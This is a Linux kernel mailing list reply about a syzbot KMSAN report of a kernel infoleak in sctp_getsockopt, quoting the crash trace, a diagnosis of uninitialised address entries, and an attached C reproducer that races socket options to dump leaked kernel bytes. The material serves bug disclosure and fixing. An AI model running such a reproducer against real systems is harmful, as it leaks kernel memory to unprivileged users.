Re: KMSAN: kernel-infoleak in sctp_getsockopt

[Marcelo Ricardo Leitner]

On Thu, Dec 06, 2018 at 11:36:08AM +0100, Alexander Potapenko wrote:
> On Wed, Dec 5, 2018 at 8:31 PM syzbot
> <syzbot+ad5d327e6936a2e284be@xxxxxxxxxxxxxxxxxxxxxxxxx> wrote:
> >
> > Hello,
> >
> > syzbot found the following crash on:
> >
> > HEAD commit:    fffec98ae2a6 net: proper support for CONFIG_GENERIC_CSUM o..
> > git tree:       https://github.com/google/kmsan.git/master
> > console output: https://syzkaller.appspot.com/x/log.txt?x=12e84a47400000
> > kernel config:  https://syzkaller.appspot.com/x/.config?x=56b48b46dafe4516
> > dashboard link: https://syzkaller.appspot.com/bug?extid=ad5d327e6936a2e284be
> > compiler:       clang version 8.0.0 (trunk 343298)
> > syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=103cd225400000
> >
> > IMPORTANT: if you fix the bug, please add the following tag to the commit:
> > Reported-by: syzbot+ad5d327e6936a2e284be@xxxxxxxxxxxxxxxxxxxxxxxxx
> >
> > 8021q: adding VLAN 0 to HW filter on device team0
> > 8021q: adding VLAN 0 to HW filter on device team0
> > 8021q: adding VLAN 0 to HW filter on device team0
> > 8021q: adding VLAN 0 to HW filter on device team0
> > ==================================================================
> > BUG: KMSAN: kernel-infoleak in _copy_to_user+0x19a/0x230 lib/usercopy.c:33
> > CPU: 1 PID: 8164 Comm: syz-executor2 Not tainted 4.20.0-rc3+ #95
> > Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS
> > Google 01/01/2011
> > Call Trace:
> >   __dump_stack lib/dump_stack.c:77 [inline]
> >   dump_stack+0x32d/0x480 lib/dump_stack.c:113
> >   kmsan_report+0x12c/0x290 mm/kmsan/kmsan.c:683
> >   kmsan_internal_check_memory+0x32a/0xa50 mm/kmsan/kmsan.c:743
> >   kmsan_copy_to_user+0x78/0xd0 mm/kmsan/kmsan_hooks.c:634
> >   _copy_to_user+0x19a/0x230 lib/usercopy.c:33
> >   copy_to_user include/linux/uaccess.h:183 [inline]
> >   sctp_getsockopt_local_addrs net/sctp/socket.c:5998 [inline]
> >   sctp_getsockopt+0x15248/0x186f0 net/sctp/socket.c:7477
> >   sock_common_getsockopt+0x13f/0x180 net/core/sock.c:2937
> >   __sys_getsockopt+0x489/0x550 net/socket.c:1939
> >   __do_sys_getsockopt net/socket.c:1950 [inline]
> >   __se_sys_getsockopt+0xe1/0x100 net/socket.c:1947
> >   __x64_sys_getsockopt+0x62/0x80 net/socket.c:1947
> >   do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
> >   entry_SYSCALL_64_after_hwframe+0x63/0xe7
> > RIP: 0033:0x457569
> > Code: fd b3 fb ff c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 48 89 f8 48 89 f7
> > 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff
> > ff 0f 83 cb b3 fb ff c3 66 2e 0f 1f 84 00 00 00 00
> > RSP: 002b:00007f4991886c78 EFLAGS: 00000246 ORIG_RAX: 0000000000000037
> > RAX: ffffffffffffffda RBX: 0000000000000005 RCX: 0000000000457569
> > RDX: 000000000000006d RSI: 0000000000000084 RDI: 0000000000000003
> > RBP: 000000000072bf00 R08: 0000000020000140 R09: 0000000000000000
> > R10: 0000000020001100 R11: 0000000000000246 R12: 00007f49918876d4
> > R13: 00000000004c7d88 R14: 00000000004ce348 R15: 00000000ffffffff
> >
> > Uninit was stored to memory at:
> >   kmsan_save_stack_with_flags mm/kmsan/kmsan.c:246 [inline]
> >   kmsan_save_stack mm/kmsan/kmsan.c:261 [inline]
> >   kmsan_internal_chain_origin+0x13d/0x240 mm/kmsan/kmsan.c:469
> >   kmsan_memcpy_memmove_metadata+0x1a9/0xf70 mm/kmsan/kmsan.c:344
> >   kmsan_memcpy_metadata+0xb/0x10 mm/kmsan/kmsan.c:362
> >   __msan_memcpy+0x61/0x70 mm/kmsan/kmsan_instr.c:162
> >   sctp_copy_laddrs net/sctp/socket.c:5901 [inline]
> >   sctp_getsockopt_local_addrs net/sctp/socket.c:5967 [inline]
> >   sctp_getsockopt+0x14f41/0x186f0 net/sctp/socket.c:7477
> >   sock_common_getsockopt+0x13f/0x180 net/core/sock.c:2937
> >   __sys_getsockopt+0x489/0x550 net/socket.c:1939
> >   __do_sys_getsockopt net/socket.c:1950 [inline]
> >   __se_sys_getsockopt+0xe1/0x100 net/socket.c:1947
> >   __x64_sys_getsockopt+0x62/0x80 net/socket.c:1947
> >   do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
> >   entry_SYSCALL_64_after_hwframe+0x63/0xe7
> >
> > Uninit was stored to memory at:
> >   kmsan_save_stack_with_flags mm/kmsan/kmsan.c:246 [inline]
> >   kmsan_save_stack mm/kmsan/kmsan.c:261 [inline]
> >   kmsan_internal_chain_origin+0x13d/0x240 mm/kmsan/kmsan.c:469
> >   kmsan_memcpy_memmove_metadata+0x1a9/0xf70 mm/kmsan/kmsan.c:344
> >   kmsan_memcpy_metadata+0xb/0x10 mm/kmsan/kmsan.c:362
> >   __msan_memcpy+0x61/0x70 mm/kmsan/kmsan_instr.c:162
> >   sctp_copy_laddrs net/sctp/socket.c:5890 [inline]
> >   sctp_getsockopt_local_addrs net/sctp/socket.c:5967 [inline]
> >   sctp_getsockopt+0x14de8/0x186f0 net/sctp/socket.c:7477
> >   sock_common_getsockopt+0x13f/0x180 net/core/sock.c:2937
> >   __sys_getsockopt+0x489/0x550 net/socket.c:1939
> >   __do_sys_getsockopt net/socket.c:1950 [inline]
> >   __se_sys_getsockopt+0xe1/0x100 net/socket.c:1947
> >   __x64_sys_getsockopt+0x62/0x80 net/socket.c:1947
> >   do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
> >   entry_SYSCALL_64_after_hwframe+0x63/0xe7
> >
> > Uninit was created at:
> >   kmsan_save_stack_with_flags mm/kmsan/kmsan.c:246 [inline]
> >   kmsan_internal_poison_shadow+0x6d/0x130 mm/kmsan/kmsan.c:170
> >   kmsan_kmalloc+0xa1/0x100 mm/kmsan/kmsan_hooks.c:186
> >   __kmalloc+0x14c/0x4d0 mm/slub.c:3825
> >   kmalloc include/linux/slab.h:551 [inline]
> >   sctp_inet6addr_event+0x60e/0xbd0 net/sctp/ipv6.c:100
> >   notifier_call_chain kernel/notifier.c:93 [inline]
> >   __atomic_notifier_call_chain kernel/notifier.c:183 [inline]
> >   atomic_notifier_call_chain+0x13d/0x240 kernel/notifier.c:193
> >   inet6addr_notifier_call_chain+0x76/0x90 net/ipv6/addrconf_core.c:107
> >   ipv6_add_addr+0x2597/0x2890 net/ipv6/addrconf.c:1115
> >   inet6_addr_add+0xc86/0x1c10 net/ipv6/addrconf.c:2912
> >   inet6_rtm_newaddr+0x167e/0x3d20 net/ipv6/addrconf.c:4750
> >   rtnetlink_rcv_msg+0x1148/0x1540 net/core/rtnetlink.c:4947
> >   netlink_rcv_skb+0x394/0x640 net/netlink/af_netlink.c:2477
> >   rtnetlink_rcv+0x50/0x60 net/core/rtnetlink.c:4965
> >   netlink_unicast_kernel net/netlink/af_netlink.c:1310 [inline]
> >   netlink_unicast+0x1699/0x1740 net/netlink/af_netlink.c:1336
> >   netlink_sendmsg+0x13c7/0x1440 net/netlink/af_netlink.c:1917
> >   sock_sendmsg_nosec net/socket.c:621 [inline]
> >   sock_sendmsg net/socket.c:631 [inline]
> >   ___sys_sendmsg+0xe3b/0x1240 net/socket.c:2116
> >   __sys_sendmsg net/socket.c:2154 [inline]
> >   __do_sys_sendmsg net/socket.c:2163 [inline]
> >   __se_sys_sendmsg+0x305/0x460 net/socket.c:2161
> >   __x64_sys_sendmsg+0x4a/0x70 net/socket.c:2161
> >   do_syscall_64+0xcf/0x110 arch/x86/entry/common.c:291
> >   entry_SYSCALL_64_after_hwframe+0x63/0xe7
> >
> > Bytes 32-35 of 2100 are uninitialized
> > Memory access of size 2100 starts at ffff888185d8b000
> > Data copied to user address 0000000020001108
> > ==================================================================
> When a network device goes up and sctp_inetaddr_event() is called, it
> allocates a partially initialized struct sctp_sockaddr_entry to hold
> the newly created address.
> The attached reproducer can be then used to read up to 8 uninit bytes
> for each of the local addresses.
> I guess the devices aren't created so often that this can pose any
> security risk, but we probably still need to allocate this structure
> with __GFP_ZERO.

Agree. Thanks Alexander.
Looks like this is the last/only place left with this issue.

> >
> > ---
> > This bug is generated by a bot. It may contain errors.
> > See https://goo.gl/tpsmEJ for more information about syzbot.
> > syzbot engineers can be reached at syzkaller@xxxxxxxxxxxxxxxxx
> >
> > syzbot will keep track of this bug report. See:
> > https://goo.gl/tpsmEJ#bug-status-tracking for how to communicate with
> > syzbot.
> > syzbot can test patches for this bug, for details see:
> > https://goo.gl/tpsmEJ#testing-patches
> >
> > --
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> > For more options, visit https://groups.google.com/d/optout.
> 
> 
> 
> -- 
> Alexander Potapenko
> Software Engineer
> 
> Google Germany GmbH
> Erika-Mann-Straße, 33
> 80636 München
> 
> Geschäftsführer: Paul Manicle, Halimah DeLaine Prado
> Registergericht und -nummer: Hamburg, HRB 86891
> Sitz der Gesellschaft: Hamburg

> #ifndef DUMP_BUF_H
> #define DUMP_BUF_H
> 
> #ifndef DUMP_MIN_STRLEN
> #define DUMP_MIN_STRLEN 1
> #endif
> 
> #ifndef DUMP_PARALLEL
> #define DUMP_PARALLEL 0
> #endif
> 
> #ifndef DUMP_PRINT_BUF_ADDR
> #define DUMP_PRINT_BUF_ADDR 0
> #endif
> 
> #ifndef DUMP_PRINT_HEX
> #define DUMP_PRINT_HEX 0
> #endif
> 
> #ifndef DUMP_PRINT_STRING
> #define DUMP_PRINT_STRING 0
> #endif
> 
> #if DUMP_PARALLEL
> pthread_mutex_t out_mutex = PTHREAD_MUTEX_INITIALIZER;
> #endif
> 
> void dump_buf(unsigned char *buf, int len) {
>   int i, nz = 0;
>   for (i = 0; i < len; i++) {
>     if (buf[i]) {
>       nz = 1;
>       break;
>     }
>   }
>   if (!nz) {
>     // The buffer is empty.
>     return;
>   } else {
> #if DUMP_PARALLEL
>     pthread_mutex_lock(&out_mutex);
> #endif
> #if DUMP_PRINT_BUF_ADDR
>     fprintf(stderr, "nonempty buffer at %p\n", buf);
> #endif
> #if DUMP_PRINT_HEX
>     for (i=0; i < len; i++) {
>       if (buf[i]) {
>         fprintf(stderr, "buf[%d]: %x (%p)\n", i, buf[i], *(void**)&buf[i]);
>       }
>     }
> #endif // DUMP_PRINT_HEX
> #if DUMP_PARALLEL
>     pthread_mutex_unlock(&out_mutex);
> #endif
>   }
> #if DUMP_PARALLEL
>   pthread_mutex_lock(&out_mutex);
> #endif
> #if DUMP_PRINT_STRING
>   for (i = 0; i < len; i++) {
>     if (buf[i]) {
>       int str_len = strlen(&buf[i]);
>       // Short string pieces are too boring.
>       if (str_len >= DUMP_MIN_STRLEN) {
>         unsigned char *c;
>         for (c = &buf[i]; c < &buf[i + str_len]; c++) {
>           if ((*c > 127) || ((*c < 32) && (*c != 10) && (*c != 13)))  {
>             *c = ' ';
>             continue;
>           }
>         }
>         // Dump the buffer.
>         fprintf(stderr, "%s\n", &buf[i]);
>       }
>       i += str_len;
>     }
>   }
> #endif // DUMP_PRINT_STRING
> #if DUMP_PARALLEL
>   pthread_mutex_unlock(&out_mutex);
> #endif
> }
> 
> #endif

> #include <stdio.h>
> #include <pthread.h>
> #include <sys/types.h>          /* See NOTES */
> #include <sys/socket.h>
> #include <unistd.h>
> 
> #define DUMP_PARALLEL 1
> #define DUMP_PRINT_BUF_ADDR 1
> #define DUMP_PRINT_STRING 1
> #define DUMP_PRINT_HEX 1
> #include "dump_buf.h"
> 
> void *setsockopt_fn(void *arg) {
>   int sock = (int)arg;
>   struct sockaddr addr;
>   memset(&addr, 0, sizeof(addr));
>   addr.sa_family = 2;
>   addr.sa_data[2] = 0xac;
>   addr.sa_data[3] = 0x14;
>   addr.sa_data[4] = 0x14;
>   setsockopt(sock, 0x84, 0x6e, &addr, 0x10);
> }
> 
> #define BUFLEN (0x2c2)
> void *getsockopt_fn(void *arg) {
>   int sock = (int)arg;
>   char buf[BUFLEN];
>   memset(buf, 0, BUFLEN);
>   int socklen = BUFLEN;
>   getsockopt(sock, 0x84, /*SCTP_GET_LOCAL_ADDRS*/0x6d, buf, &socklen);
>   dump_buf(&(buf[8]), 32);
> }
> 
> void do_work(int sock) {
>   pthread_t t1, t2;
>   for (int i = 0; i < 10; i++) {
>     pthread_create(&t1, NULL, getsockopt_fn, (void*)sock);
>     pthread_create(&t2, NULL, setsockopt_fn, (void*)sock);
>     usleep(100);
>   }
> }
> 
> int main(int argc, char *argv[]) {
>   int res;
>   int pid = fork();
>   if (pid == 0) {
>     int sock = socket(0x2, 0x1, 0x84);
>     do_work(sock);
>   }
>   sleep(10);
>   return 0;
> }